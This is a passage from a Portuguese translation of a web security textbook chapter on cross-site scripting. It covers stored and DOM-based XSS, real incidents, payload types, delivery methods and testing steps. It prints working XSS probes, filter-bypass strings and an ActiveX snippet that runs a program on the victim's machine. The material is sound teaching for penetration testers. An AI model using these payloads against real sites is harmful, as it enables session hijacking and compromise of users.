Os ataques contra vulnerabilidades XSS armazenadas normalmente envolvem pelo menos duas solicitações ao aplicativo. Na primeira, o invasor publica alguns dados criados contendo código malicioso que o aplicativo armazena. Na segunda, a vítima visualiza uma página que contém os dados do invasor, e o código mal-intencionado é executado quando o script é executado no navegador da vítima. Por esse motivo, a vulnerabilidade também é às vezes chamada de script entre sites *de segunda ordem*. (Nesse caso, "XSS" é realmente um termo impróprio, pois o ataque não tem nenhum elemento entre sites. No entanto, o nome é amplamente usado, portanto, vamos mantê-lo aqui).

A Figura 12-4 ilustra como um invasor pode explorar uma vulnerabilidade de XSS armazenado para realizar o mesmo ataque de sequestro de sessão descrito para XSS refletido.

Figura 12-4: As etapas envolvidas em um ataque XSS armazenado

EXPERIMENTE!

Este exemplo contém uma função de pesquisa que exibe a consulta inserida pelo usuário atual e também uma lista de consultas recentes de outros usuários. Como as consultas são exibidas sem modificações, o aplicativo é vulnerável tanto ao XSS refletido quanto ao armazenado. Veja se você consegue encontrar as duas vulnerabilidades.

`http://mdsec.net/search/11/`

O XSS refletido e o armazenado têm duas diferenças importantes no processo de ataque. O XSS armazenado geralmente é mais grave do ponto de vista da segurança.

Primeiro, no caso do XSS refletido, para explorar uma vulnerabilidade, o invasor deve induzir as vítimas a visitar seu URL criado. No caso do XSS armazenado, essa exigência é evitada. Depois de implantar o ataque no aplicativo, o invasor só precisa esperar que as vítimas naveguem até a página ou função que foi comprometida. Normalmente, essa é uma página normal do aplicativo que os usuários normais acessam por conta própria.

Em segundo lugar, os objetivos do invasor ao explorar um bug de XSS geralmente são alcançados com muito mais facilidade se a vítima estiver usando o aplicativo no momento do ataque. Por exemplo, se o usuário tiver uma sessão existente, ela poderá ser imediatamente sequestrada. Em um ataque de XSS refletido, o invasor pode tentar criar essa situação persuadindo o usuário a fazer login e, em seguida, clicar em um link fornecido por ele. Ou ele pode tentar implantar uma carga útil persistente que aguarda até que o usuário faça login. No entanto,

Em um ataque XSS armazenado, geralmente é garantido que os usuários vítimas já estarão acessando o aplicativo no momento em que o ataque ocorrer. Como a carga útil do ataque é armazenada em uma página do aplicativo que os usuários acessam por vontade própria, qualquer vítima do ataque estará, por definição, usando o aplicativo no momento em que a carga útil for executada. Além disso, se a página em questão estiver dentro da área autenticada do aplicativo, qualquer vítima do ataque também deverá estar conectada no momento.

Essas diferenças entre XSS refletido e armazenado significam que as falhas de XSS armazenado geralmente são essenciais para a segurança de um aplicativo. Na maioria dos casos, um invasor pode enviar alguns dados criados para o aplicativo e esperar que as vítimas sejam atingidas. Se uma dessas vítimas for um administrador, o invasor terá comprometido todo o aplicativo.

Vulnerabilidades XSS baseadas em DOM

As vulnerabilidades XSS refletidas e armazenadas envolvem um padrão específico de comportamento, no qual o aplicativo obtém dados controláveis pelo usuário e os exibe de volta aos usuários de forma insegura. Uma terceira categoria de vulnerabilidades de XSS não compartilha essa característica. Aqui, o processo pelo qual o JavaScript do invasor é executado é o seguinte:

- Um usuário solicita um URL criado fornecido pelo invasor e que contém JavaScript incorporado.
- A resposta do servidor não contém o script do invasor em nenhuma forma.
- Quando o navegador do usuário processa essa resposta, o script é executado mesmo assim.

Como essa série de eventos pode ocorrer? A resposta é que o JavaScript no lado do cliente pode acessar o modelo de objeto de documento (DOM) do navegador e, portanto, pode determinar o URL usado para carregar a página atual. Um script emitido pelo aplicativo pode extrair dados do URL, executar algum processamento nesses dados e, em seguida, usá-los para atualizar dinamicamente o conteúdo da página. Quando um aplicativo faz isso, ele pode estar vulnerável ao XSS baseado em DOM.

Lembre-se do exemplo original de uma falha de XSS refletida, na qual o aplicativo do lado do servidor copia dados de um parâmetro de URL em uma mensagem de erro. Uma maneira diferente de implementar a mesma funcionalidade seria o aplicativo retornar o mesmo trecho de HTML estático em todas as ocasiões e usar JavaScript no lado do cliente para gerar dinamicamente o conteúdo da mensagem.

Por exemplo, suponha que a página de erro retornada pelo aplicativo contenha o seguinte:

```
<script>
    var url = document.location;
```

```
    url = unescape(url);
    var message = url.substring(url.indexOf('message=') + 8, url
.length);
    document.write(message);
</script>
```

Esse script analisa o URL para extrair o valor do parâmetro `message` e simplesmente grava esse valor no código-fonte HTML da página. Quando invocado como os desenvolvedores pretendiam, ele pode ser usado da mesma forma que no exemplo original para criar mensagens de erro facilmente. No entanto, se um invasor criar um URL contendo código JavaScript como o valor do parâmetro `message`, esse código será gravado dinamicamente na página e executado da mesma forma como se o servidor o tivesse retornado. Neste exemplo, o mesmo URL que explorou a vulnerabilidade XSS refletida original também pode ser usado para produzir uma caixa de diálogo:

```
http://mdsec.net/error/18/Error.ashx?message=<script>alert('xss')</script>
```

EXPERIMENTE!

`http://mdsec.net/error/18/`

A Figura 12-5 ilustra o processo de exploração de uma vulnerabilidade XSS baseada em DOM.

Figura 12-5: As etapas envolvidas em um ataque XSS baseado em DOM

As vulnerabilidades XSS baseadas em DOM são mais semelhantes aos bugs XSS refletidos do que aos bugs XSS armazenados. Sua exploração normalmente envolve um invasor que induz um usuário a acessar um URL criado contendo código malicioso. A resposta do servidor a essa solicitação específica faz com que o código malicioso seja executado. Entretanto, em termos de detalhes de exploração, há diferenças importantes entre o XSS refletido e o baseado em DOM, que examinaremos em breve.

Ataques XSS em ação

Para entender o sério impacto das vulnerabilidades de XSS, é útil examinar alguns exemplos reais de ataques de XSS. Também é útil considerar a ampla gama de ações mal-intencionadas que as explorações de XSS podem realizar e como elas estão sendo ativamente entregues às vítimas.

Ataques XSS no mundo real

Em 2010, a Apache Foundation foi comprometida por um ataque XSS refletido em seu aplicativo de rastreamento de problemas. Um invasor publicou um link, oculto por meio de um serviço de redirecionamento, para um URL que explorava a falha de XSS para capturar o token de sessão do usuário conectado. Quando um administrador clicou no link, sua sessão foi comprometida, e o invasor obteve acesso administrativo ao aplicativo. Em seguida, o invasor modificou as configurações de um projeto para alterar a pasta de upload do projeto para um diretório executável na raiz da Web do aplicativo. Ele carregou um formulário de login de Trojan nessa pasta e conseguiu capturar os nomes de usuário e as senhas de usuários privilegiados. O invasor identificou algumas senhas que estavam sendo reutilizadas em outros sistemas da infraestrutura. Ele conseguiu comprometer totalmente esses outros sistemas, ampliando o ataque para além do aplicativo da Web vulnerável.

Para obter mais detalhes sobre esse ataque, consulte este URL:

```
http://blogs.apache.org/infra/entry/apache_org_04_09_2010
```

Em 2005, descobriu-se que o site de rede social MySpace era vulnerável a um ataque de XSS armazenado. O aplicativo MySpace implementa filtros para evitar que os usuários coloquem JavaScript em sua página de perfil de usuário. No entanto, um usuário chamado Samy encontrou um meio de contornar esses filtros e colocou algum JavaScript em sua página de perfil. O script era executado sempre que um usuário visualizava esse perfil e fazia com que o navegador da vítima executasse várias ações com dois efeitos principais. Primeiro, o navegador adicionou Samy como um "amigo" da vítima. Em segundo lugar, ele copiava o script para a página de perfil de usuário da própria vítima. Posteriormente, qualquer pessoa que visualizasse o perfil da vítima também seria vítima do ataque. O resultado foi um worm baseado em XSS que se espalhou exponencialmente. Em poucas horas, o autor original do ataque

tinha quase um milhão de solicitações de amizade. Como resultado, o MySpace teve que colocar o aplicativo off-line, remover o script malicioso dos perfis de todos os seus usuários e corrigir o defeito em seus filtros anti-XSS.

Para obter mais detalhes sobre esse ataque, consulte este URL:

```
http://namb.la/popular/tech.html
```

Os aplicativos de correio da Web estão inerentemente em risco de ataques de XSS armazenados devido à forma como eles renderizam as mensagens de e-mail no navegador quando visualizadas pelo destinatário. Os e-mails podem conter conteúdo formatado em HTML, de modo que o aplicativo copia efetivamente o HTML de terceiros nas páginas que exibe aos usuários. Em 2009, um provedor de webmail chamado StrongWebmail ofereceu uma recompensa de US$ 10.000 para quem conseguisse invadir o e-mail do CEO. Os hackers identificaram uma vulnerabilidade XSS armazenada no aplicativo de webmail que permitia a execução de JavaScript arbitrário quando o destinatário visualizava um e-mail malicioso. Eles enviaram um e-mail adequado para o CEO, comprometeram sua sessão no aplicativo e solicitaram a recompensa.

Para obter mais detalhes sobre esse ataque, consulte este URL:

```
http://blogs.zdnet.com/security/?p=3514
```

Em 2009, o Twitter foi vítima de dois worms XSS que exploraram as vulnerabilidades XSS armazenadas para se espalhar entre os usuários e publicar atualizações promovendo o site do autor dos worms. Várias vulnerabilidades XSS baseadas em DOM também foram identificadas no Twitter, decorrentes do uso extensivo de código do tipo Ajax no lado do cliente.

Para obter mais detalhes sobre essas vulnerabilidades, consulte os seguintes URLs:

```
www.cgisecurity.com/2009/04/two-xss-worms-slam-twitter.html
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-
something.html
```

Cargas úteis para ataques XSS

Até agora, nos concentramos na carga útil clássica do ataque XSS. Ele envolve a captura do token de sessão da vítima, o sequestro de sua sessão e, assim, o uso do aplicativo "como" a vítima, a execução de ações arbitrárias e a possível apropriação da conta do usuário. De fato, várias outras cargas úteis de ataque podem ser fornecidas por meio de qualquer tipo de vulnerabilidade XSS.

Desfiguração virtual

Esse ataque envolve a injeção de dados maliciosos em uma página de um aplicativo da Web para fornecer informações enganosas aos usuários do aplicativo. Ele pode envolver simplesmente a injeção de marcação HTML no site ou pode usar scripts (às vezes hospedados em um servidor externo) para injetar conteúdo e navegação elaborados no site.

Esse tipo de ataque é conhecido como *desfiguração virtual* porque o conteúdo real hospedado no servidor da Web do alvo não é modificado. A desfiguração é gerada apenas devido à forma como o aplicativo processa e processa a entrada fornecida pelo usuário. Além de danos frívolos, esse tipo de ataque pode ser usado para vários fins criminosos. Uma adulteração criada profissionalmente, entregue aos destinatários certos de maneira convincente, poderia ser captada pela mídia de notícias e ter efeitos reais no comportamento das pessoas, nos preços das ações e assim por diante, até o benefício financeiro do atacante, conforme ilustrado na Figura 12-6.

Figura 12-6: Um ataque de desfiguração virtual que explora uma falha de XSS

Injetando a funcionalidade do cavalo de Troia

Esse ataque vai além da desfiguração virtual e injeta a funcionalidade real de trabalho no aplicativo vulnerável. A intenção é enganar os usuários finais para que realizem alguma ação indesejável, como inserir dados confidenciais que são transmitidos ao invasor.

Conforme descrito no ataque contra o Apache, um ataque óbvio que envolve funcionalidade injetada é apresentar aos usuários um formulário de login de Trojan que envia suas credenciais para um servidor controlado pelo invasor. Se for executado com habilidade, o ataque também poderá fazer o login do usuário no aplicativo real sem problemas, de modo que ele não detecte nenhuma anomalia em sua experiência. O invasor fica então livre para usar as credenciais da vítima para seus próprios fins. Esse tipo de carga útil se presta bem a um ataque do tipo phishing, no qual os usuários recebem um URL criado dentro do aplicativo autêntico real e são informados de que precisam fazer login normalmente para acessá-lo.

Outro ataque óbvio é pedir aos usuários que insiram os detalhes de seus cartões de crédito, geralmente com o incentivo de alguma oferta atraente. Por exemplo, a Figura 12-7 mostra um ataque de prova de conceito criado por Jim Ley, explorando uma vulnerabilidade XSS refletida encontrada no Google em 2004.

Figura 12-7: Um ataque XSS refletido injetando a funcionalidade de Trojan

Os URLs nesses ataques apontam para o nome de domínio autêntico do aplicativo real, com um certificado SSL válido, quando aplicável. Portanto, é muito mais provável que eles persuadam as vítimas a enviar informações confidenciais do que os sites de phishing puro, que são hospedados em um domínio diferente e simplesmente clonam o conteúdo do site visado.

Induzir ações do usuário

Se um invasor sequestrar a sessão de uma vítima, ele poderá usar o aplicativo "como" esse usuário e executar qualquer ação em nome dele. Entretanto, essa abordagem para executar ações arbitrárias nem sempre é desejável. Ela exige que o invasor monitore seu próprio servidor em busca de envios de tokens de sessão capturados de usuários comprometidos. Ele também deve executar a ação relevante em nome de cada usuário. Se muitos usuários estiverem sendo atacados, isso pode ser impraticável. Além disso, ele deixa um rastro pouco sutil em qualquer registro de aplicativo, que poderia ser facilmente usado para identificar o computador responsável pelas ações não autorizadas durante uma investigação.

Uma alternativa ao sequestro de sessão, em que um invasor simplesmente deseja executar um conjunto específico de ações em nome de cada usuário comprometido, é usar o próprio script de carga de ataque para executar as ações. Essa carga útil de ataque é particularmente útil nos casos em que um invasor deseja executar alguma ação que exija privilégios administrativos, como modificar as permissões atribuídas a uma conta que ele controla. Com uma grande base de usuários, seria trabalhoso sequestrar a sessão de cada usuário e determinar se a vítima era um administrador. Uma abordagem mais eficaz é induzir cada usuário comprometido a tentar atualizar as permissões na conta do invasor. A maioria das tentativas falhará, mas no momento em que um usuário administrativo é comprometido, o invasor consegue aumentar os privilégios. As formas de induzir ações em nome de outros usuários são descritas na seção "Solicitação de falsificação" do Capítulo 13.

O worm MySpace XSS descrito anteriormente é um exemplo dessa carga útil de ataque. Ele ilustra o poder desse tipo de ataque para executar ações não autorizadas em nome de uma base de usuários em massa com o mínimo de esforço do atacante. Esse ataque utilizou uma série complexa de solicitações usando técnicas Ajax (descritas no Capítulo 3) para executar as várias ações necessárias para permitir a propagação do worm. Um invasor cujo alvo principal é o próprio aplicativo, mas que deseja permanecer o mais furtivo possível, pode aproveitar esse tipo de carga útil de ataque XSS para fazer com que outros usuários executem ações mal-intencionadas de sua escolha contra o aplicativo. Por exemplo, o invasor poderia fazer com que outro usuário explorasse uma vulnerabilidade de injeção de SQL para adicionar um novo administrador à tabela de contas de usuário no banco de dados. O invasor controlaria a nova conta, mas qualquer investigação dos logs do aplicativo pode concluir que um usuário diferente foi o responsável.

Exploração de qualquer relação de confiança

Você já viu uma importante relação de confiança que o XSS pode explorar: os navegadores confiam no JavaScript recebido de um site com os cookies emitidos por esse site. Várias outras relações de confiança podem, às vezes, ser exploradas em um ataque XSS:

- Se o aplicativo empregar formulários com o recurso autocompletar ativado, o JavaScript emitido pelo aplicativo poderá capturar quaisquer dados inseridos anteriormente que o navegador do usuário tenha armazenado no cache do autocompletar. Ao instanciar o formulário relevante, aguardar que o navegador preencha automaticamente seu conteúdo e, em seguida, consultar os valores dos campos do formulário, o script poderá roubar esses dados e transmiti-los ao servidor do invasor. Esse ataque pode ser mais poderoso do que a injeção da funcionalidade de Trojan, pois os dados confidenciais podem ser capturados sem exigir nenhuma interação do usuário.
- Alguns aplicativos da Web recomendam ou exigem que os usuários adicionem seu nome de domínio à zona de "Sites confiáveis" do navegador. Isso é quase sempre indesejável e significa que qualquer falha do tipo XSS

pode ser explorada para executar

execução arbitrária de código no computador de um usuário vítima. Por exemplo, se um site estiver sendo executado na zona de Sites Confiáveis do Internet Explorer, a injeção do código a seguir fará com que o programa de calculadora do Windows seja iniciado no computador do usuário:

```
<script>
    var o = new ActiveXObject('WScript.shell');
    o.Run('calc.exe');
</script>
```

- Os aplicativos da Web geralmente implantam controles ActiveX que contêm métodos avançados (consulte o Capítulo 13). Alguns aplicativos procuram evitar o uso indevido por terceiros verificando dentro do próprio controle se a página da Web de invocação foi emitida a partir do site correto. Nessa situação, o controle ainda pode ser usado indevidamente por meio de um ataque XSS, pois, nesse caso, o código de chamada satisfaz a verificação de confiança implementada no controle.

MITO COMUM

"Phishing e XSS afetam apenas aplicativos na Internet pública."

Os bugs de XSS podem afetar qualquer tipo de aplicativo da Web, e um ataque contra um aplicativo baseado em intranet, enviado por meio de um e-mail em grupo, pode explorar duas formas de confiança. Primeiro, há a confiança social explorada por um e-mail interno enviado entre colegas. Em segundo lugar, os navegadores das vítimas geralmente confiam mais nos servidores da Web corporativos do que nos servidores da Internet pública. Por exemplo, com o Internet Explorer, se um computador fizer parte de um domínio corporativo, o navegador usa como padrão um nível mais baixo de segurança ao acessar aplicativos baseados na intranet.

Ampliação do ataque do lado do cliente

Um site pode atacar diretamente os usuários que o visitam de várias maneiras, como registrar as teclas digitadas, capturar o histórico de navegação e fazer a varredura de portas na rede local. Qualquer um desses ataques pode ser realizado por meio de uma falha de script entre sites em um aplicativo vulnerável, embora também possa ser realizado diretamente por qualquer site mal-intencionado que um usuário visite. Os ataques desse tipo são descritos em mais detalhes no final do Capítulo 13.

Mecanismos de entrega para ataques XSS

Depois de identificar uma vulnerabilidade de XSS e formular uma carga útil adequada para explorá-la, o invasor precisa encontrar algum meio de entregar o ataque a outros usuários.

usuários do aplicativo. Já discutimos várias maneiras pelas quais isso pode ser feito. De fato, muitos outros mecanismos de entrega estão disponíveis para um invasor.

Fornecimento de ataques XSS refletidos e baseados em DOM

Além do vetor de phishing óbvio de enviar por e-mail em massa um URL criado para usuários aleatórios, um invasor pode tentar realizar um ataque XSS refletido ou baseado em DOM por meio dos seguintes mecanismos:

- Em um ataque direcionado, um e-mail forjado pode ser enviado a um único usuário-alvo ou a um pequeno número de usuários. Por exemplo, um administrador de aplicativo pode receber um e-mail aparentemente originado de um usuário conhecido, reclamando que um URL específico está causando um erro. Quando um invasor deseja comprometer a sessão de um usuário específico (em vez de coletar as sessões de usuários aleatórios), um ataque direcionado bem informado e convincente costuma ser o mecanismo de entrega mais eficaz. Esse tipo de ataque às vezes é chamado de "spear phishing".
- Um URL pode ser enviado a um usuário-alvo em uma mensagem instantânea.
- O conteúdo e o código em sites de terceiros podem ser usados para gerar solicitações que acionam falhas de XSS. Vários aplicativos populares permitem que os usuários publiquem marcações HTML limitadas que são exibidas sem modificações para outros usuários. Se uma vulnerabilidade de XSS puder ser acionada usando o método `GET`, um invasor poderá publicar uma tag `IMG` em um site de terceiros que tenha como alvo o URL vulnerável. Qualquer usuário que visualizar o conteúdo de terceiros solicitará, sem querer, o URL malicioso.

  Como alternativa, o invasor pode criar seu próprio site com conteúdo interessante para induzir os usuários a visitá-lo. Ele também contém conteúdo que faz com que o navegador do usuário faça solicitações contendo cargas úteis de XSS para um aplicativo vulnerável. Se um usuário estiver conectado ao aplicativo vulnerável e, por acaso, navegar até o site do invasor, a sessão do usuário com o aplicativo vulnerável será comprometida.

  Depois de criar um site adequado, um invasor pode usar técnicas de manipulação de mecanismos de pesquisa para gerar visitas de usuários adequados, como colocar palavras-chave relevantes no conteúdo do site e criar links para o site usando expressões relevantes. No entanto, esse mecanismo de entrega não tem nada a ver com phishing. O site do invasor não tenta se passar pelo site que está sendo visado.

  Observe que esse mecanismo de entrega pode permitir que um invasor explore vulnerabilidades XSS refletidas e baseadas em DOM que podem ser acionadas somente por meio de solicitações `POST`. Com essas vulnerabilidades, obviamente não há uma URL simples que possa ser fornecida a um usuário vítima para realizar um ataque. No entanto, um usuário mal-intencionado

O site da Web pode conter um formulário HTML que usa o método `POST` e que tem o aplicativo vulnerável como URL de destino. O JavaScript ou os controles de navegação na página podem ser usados para enviar o formulário, explorando com sucesso a vulnerabilidade.

- Em uma variação do ataque a sites de terceiros, sabe-se que alguns invasores pagam por anúncios em banner vinculados a um URL que contém uma carga útil de XSS para um aplicativo vulnerável. Se um usuário estiver conectado ao aplicativo vulnerável e clicar no anúncio, sua sessão com esse aplicativo será comprometida. Como muitos provedores usam palavras-chave para atribuir anúncios a páginas relacionadas a eles, já houve casos em que um anúncio que atacava um aplicativo específico foi atribuído às páginas do próprio aplicativo! Isso não apenas dá credibilidade ao ataque, mas também garante que alguém que clica no anúncio esteja usando o aplicativo vulnerável no momento em que o ataque ocorre. Além disso, como o URL visado agora está "no local", o ataque pode contornar os mecanismos baseados em navegador empregados para se defender contra XSS (descritos em detalhes mais adiante neste capítulo). Como muitos provedores de anúncios em banner cobram por clique, essa técnica permite que o invasor "compre" um número específico de sessões de usuário.
- Muitos aplicativos da Web implementam uma função para "contar a um amigo" ou enviar feedback aos administradores do site. Essa função geralmente permite que um usuário gere um e-mail com conteúdo e destinatários arbitrários. Um invasor pode aproveitar essa funcionalidade para realizar um ataque XSS por meio de um e-mail que, na verdade, se origina do próprio servidor da organização. Isso aumenta a probabilidade de que até mesmo usuários com conhecimento técnico e softwares antimalware o aceitem.

Fornecimento de ataques XSS armazenados

Os dois tipos de mecanismos de entrega para ataques de XSS armazenados são in-band e out-of-band.

A entrega em banda se aplica na maioria dos casos e é usada quando os dados que são objeto da vulnerabilidade são fornecidos ao aplicativo por meio de sua interface principal da Web. Os locais comuns em que os dados controláveis pelo usuário podem ser exibidos para outros usuários incluem os seguintes:

- Campos de informações pessoais - nome, endereço, e-mail, telefone e similares
- Nomes de documentos, arquivos carregados e outros itens
- Comentários ou perguntas para administradores de aplicativos
- Mensagens, atualizações de status, comentários, perguntas e similares para outros usuários do aplicativo

- Qualquer coisa que seja registrada em logs de aplicativos e exibida no navegador para os administradores, como URLs, nomes de usuário, HTTP `Referer`, `User-Agent` e similares
- O conteúdo dos arquivos carregados que são compartilhados entre os usuários

Nesses casos, a carga útil do XSS é entregue simplesmente enviando-a para a página relevante dentro do aplicativo e, em seguida, aguardando que as vítimas visualizem os dados maliciosos.

A entrega fora de banda aplica-se aos casos em que os dados que são objeto da vulnerabilidade são fornecidos ao aplicativo por meio de algum outro canal. O aplicativo recebe os dados por esse canal e, por fim, os renderiza em páginas HTML geradas em sua interface principal da Web. Um exemplo desse mecanismo de fornecimento é o ataque já descrito contra aplicativos de correio eletrônico da Web. Ele envolve o envio de dados mal-intencionados a um servidor SMTP, que acaba sendo exibido aos usuários em uma mensagem de e-mail em formato HTML.

Encadeamento de XSS e outros ataques

Às vezes, as falhas de XSS podem ser encadeadas com outras vulnerabilidades para obter um efeito devastador. Os autores encontraram um aplicativo que tinha uma vulnerabilidade de XSS armazenada no nome de exibição do usuário. A única finalidade para a qual esse item era usado era mostrar uma mensagem de boas-vindas personalizada depois que o usuário fazia login. O nome de exibição nunca era exibido para outros usuários do aplicativo, portanto, inicialmente não parecia haver nenhum vetor de ataque para que os usuários causassem problemas ao editar seu próprio nome de exibição. Em outras condições, a vulnerabilidade seria classificada como de risco muito baixo.

No entanto, havia uma segunda vulnerabilidade no aplicativo. Controles de acesso defeituosos significavam que qualquer usuário poderia editar o nome de exibição de qualquer outro usuário. Novamente, por si só, esse problema tinha uma importância mínima: Por que um invasor estaria interessado em alterar os nomes de exibição de outros usuários?

O encadeamento dessas duas vulnerabilidades de baixo risco permitiu que um invasor comprometesse completamente o aplicativo. Foi fácil automatizar um ataque para injetar um script no nome de exibição de cada usuário do aplicativo. Esse script era executado sempre que um usuário se conectava ao aplicativo e transmitia o token de sessão do usuário para um servidor de propriedade do invasor. Alguns dos usuários do aplicativo eram administradores, que se conectavam com frequência e podiam criar novos usuários e modificar os privilégios de outros usuários. Um invasor simplesmente tinha que esperar que um administrador fizesse login, sequestrar a sessão do administrador e, em seguida, atualizar sua própria conta para ter privilégios administrativos. As duas vulnerabilidades juntas representavam um risco crítico para a segurança do aplicativo.

Em um exemplo diferente, os dados que eram apresentados somente ao usuário que os enviou podiam ser atualizados por meio de um ataque de falsificação de solicitação entre sites (consulte o Capítulo 13). Ele também continha uma

vulnerabilidade de XSS armazenada. Novamente, cada bug, quando considerado

individualmente podem ser considerados de risco relativamente baixo; no entanto, quando explorados em conjunto, podem ter um impacto crítico.

MITO COMUM

"Não estamos preocupados com esse bug XSS de baixo risco. Um usuário poderia explorá-lo apenas para atacar a si mesmo."

Mesmo as vulnerabilidades aparentemente de baixo risco podem, nas circunstâncias certas, abrir caminho para um ataque devastador. Adotar uma abordagem de defesa em profundidade para a segurança implica remover todas as vulnerabilidades conhecidas, por mais insignificantes que possam parecer. Os autores chegaram a usar XSS para colocar caixas de diálogo do navegador de arquivos ou controles ActiveX na resposta da página, ajudando a sair de um sistema de modo quiosque vinculado a um aplicativo da Web de destino. Sempre presuma que um invasor será mais imaginativo do que você ao criar maneiras de explorar pequenos bugs!

Localização e exploração de vulnerabilidades de XSS

Uma abordagem básica para identificar vulnerabilidades de XSS é usar uma cadeia de ataque padrão de prova de conceito, como a seguinte:

```
"><script>alert(document.cookie)</script>
```

Essa cadeia é enviada como parâmetro para todas as páginas do aplicativo, e as respostas são monitoradas quanto ao aparecimento dessa mesma cadeia. Se forem encontrados casos em que a string de ataque aparece inalterada na resposta, é quase certo que o aplicativo está vulnerável a XSS.

Se a sua intenção for simplesmente identificar *alguma* instância de XSS no aplicativo o mais rápido possível para lançar um ataque contra outros usuários do aplicativo, essa abordagem básica provavelmente é a mais eficaz, pois pode ser facilmente automatizada e produz o mínimo de falsos positivos. Entretanto, se o seu objetivo for realizar um teste abrangente do aplicativo para localizar o maior número possível de vulnerabilidades individuais, a abordagem básica precisará ser complementada com técnicas mais sofisticadas. Há várias formas diferentes de vulnerabilidades XSS que podem existir em um aplicativo e que não serão identificadas por meio da abordagem básica de detecção:

- Muitos aplicativos implementam filtros rudimentares baseados em listas negras na tentativa de evitar ataques XSS. Em geral, esses filtros procuram expressões como `<script>` nos parâmetros da solicitação e tomam alguma ação defensiva, como remover ou codificar a expressão ou bloquear a solicitação. Esses filtros geralmente bloqueiam as cadeias de caracteres de ataque comumente empregadas na abordagem básica de detecção. No entanto, só porque um ataque comum

esteja sendo filtrada, isso não significa que não exista uma vulnerabilidade explorável. Como você verá, há casos em que uma exploração XSS funcional pode ser criada sem o uso de tags `<script>` e até mesmo sem o uso de caracteres comumente filtrados, como `" < >` e `/`.

- Os filtros anti-XSS implementados em muitos aplicativos são defeituosos e podem ser contornados por vários meios. Por exemplo, suponha que um aplicativo remova qualquer tag `<script>` da entrada do usuário antes de ser processada. Isso significa que a string de ataque usada na abordagem básica não será retornada em nenhuma das respostas do aplicativo. Entretanto, pode ser que uma ou mais das seguintes cadeias de caracteres contornem o filtro e resultem em uma exploração de XSS bem-sucedida:

```
"><script >alert(document.cookie)</script > "><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e"><scr<script>ipt>alert(document.cookie
)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>
```

EXPERIMENTE!

```
http://mdsec.net/search/28/
http://mdsec.net/search/36/
http://mdsec.net/search/21/
```

Observe que, em alguns desses casos, a cadeia de caracteres de entrada pode ser higienizada, decodificada ou modificada de outra forma antes de ser retornada na resposta do servidor, mas ainda assim pode ser suficiente para uma exploração de XSS. Nessa situação, nenhuma abordagem de detecção baseada no envio de uma cadeia de caracteres específica e na verificação de sua aparência na resposta do servidor conseguirá, por si só, encontrar a vulnerabilidade.

Nas explorações de vulnerabilidades XSS baseadas em DOM, a carga útil do ataque não é necessariamente retornada na resposta do servidor, mas é mantida no DOM do navegador e acessada a partir dele pelo JavaScript do lado do cliente. Novamente, nessa situação, nenhuma abordagem baseada no envio de uma cadeia de caracteres específica e na verificação de sua aparência na resposta do servidor conseguirá encontrar a vulnerabilidade.

Encontrando e explorando vulnerabilidades de XSS corrigidas

A abordagem mais confiável para detectar vulnerabilidades de XSS refletidas envolve trabalhar sistematicamente em todos os pontos de entrada para a entrada do usuário que foram identificados durante o mapeamento do aplicativo (consulte o Capítulo 4) e seguir estas etapas:

- Envie uma cadeia alfabética benigna em cada ponto de entrada.
- Identifique todos os locais em que essa string é refletida na resposta do aplicativo.

- Para cada reflexão, identifique o contexto sintático em que os dados refletidos aparecem.
- Enviar dados modificados adaptados ao contexto sintático da reflexão, tentando introduzir um script arbitrário na resposta.
- Se os dados refletidos forem bloqueados ou higienizados, impedindo a execução do seu script, tente entender e contornar os filtros defensivos do aplicativo.

Identificação de reflexos da entrada do usuário

A primeira etapa do processo de teste é enviar uma cadeia de caracteres benigna para cada ponto de entrada e identificar todos os locais na resposta em que a cadeia de caracteres é refletida.

ETAPAS DO HACK

1. Escolha uma cadeia de caracteres arbitrária exclusiva que não apareça em nenhum lugar do aplicativo, que contenha apenas caracteres alfabéticos e que, portanto, provavelmente não será afetada por nenhum filtro específico de XSS. Por exemplo:

   myxsstestdmqlwp

   Envie essa cadeia de caracteres como cada parâmetro para cada página, visando apenas um parâmetro de cada vez.
2. Monitore as respostas do aplicativo para verificar se há alguma aparência dessa mesma cadeia de caracteres. Anote todos os parâmetros cujo valor está sendo copiado para a resposta do aplicativo. Eles não são necessariamente vulneráveis, mas cada instância identificada é candidata a uma investigação mais aprofundada, conforme descrito na próxima seção.
3. Observe que as solicitações **GET** e **POST** precisam ser testadas. Você deve incluir todos os parâmetros na string de consulta do URL e no corpo da mensagem. Embora exista uma gama menor de mecanismos de entrega para vulnerabilidades XSS que podem ser acionadas somente por uma solicitação **POST**, a exploração ainda é possível, conforme descrito anteriormente.
4. Em todos os casos em que o XSS foi encontrado em uma solicitação **POST**, use a opção "change request method" (alterar método de solicitação) no Burp para determinar se o mesmo ataque poderia ser realizado em uma solicitação **GET**.
5. Além dos parâmetros de solicitação padrão, você deve testar todas as instâncias em que o aplicativo processa o conteúdo de um cabeçalho de solicitação HTTP. Uma vulnerabilidade comum de XSS surge em mensagens de erro, em que itens como os cabeçalhos **Referer** e `User-Agent` são copiados para o conteúdo da mensagem. Esses cabeçalhos são veículos válidos para a entrega de um ataque XSS refletido, pois um invasor pode usar um objeto Flash para induzir uma vítima a emitir uma solicitação contendo cabeçalhos HTTP arbitrários.

Testando reflexões para introduzir o script

É necessário investigar manualmente cada instância de entrada refletida que você identificou para verificar se ela é realmente explorável. Em cada local em que os dados são refletidos na resposta, você precisa identificar o contexto sintático desses dados. Você deve encontrar uma maneira de modificar sua entrada de modo que, quando ela for copiada para o mesmo local na resposta do aplicativo, resulte na execução de um script arbitrário. Vamos dar uma olhada em alguns exemplos.

Exemplo 1: um valor de atributo de tag

Suponha que a página retornada contenha o seguinte:

```
<input type="text" name="address1" value="myxsstestdmqlwp">
```

Uma maneira óbvia de criar uma exploração de XSS é encerrar os sinais de cota dupla que envolvem o valor do atributo, fechar a tag `<input>` e, em seguida, empregar algum meio de introduzir JavaScript, como uma tag `<script>`. Por exemplo:

```
"><script>alert(1)</script>
```

Um método alternativo nessa situação, que pode contornar determinados filtros de entrada, é permanecer na própria tag `<input>`, mas injetar um manipulador de eventos contendo JavaScript. Por exemplo:

```
" onfocus="alert(1)
```

Exemplo 2: uma cadeia de caracteres JavaScript

Suponha que a página retornada contenha o seguinte:

```
<script>var a = 'myxsstestdmqlwp'; var b = 123; ... </script>
```

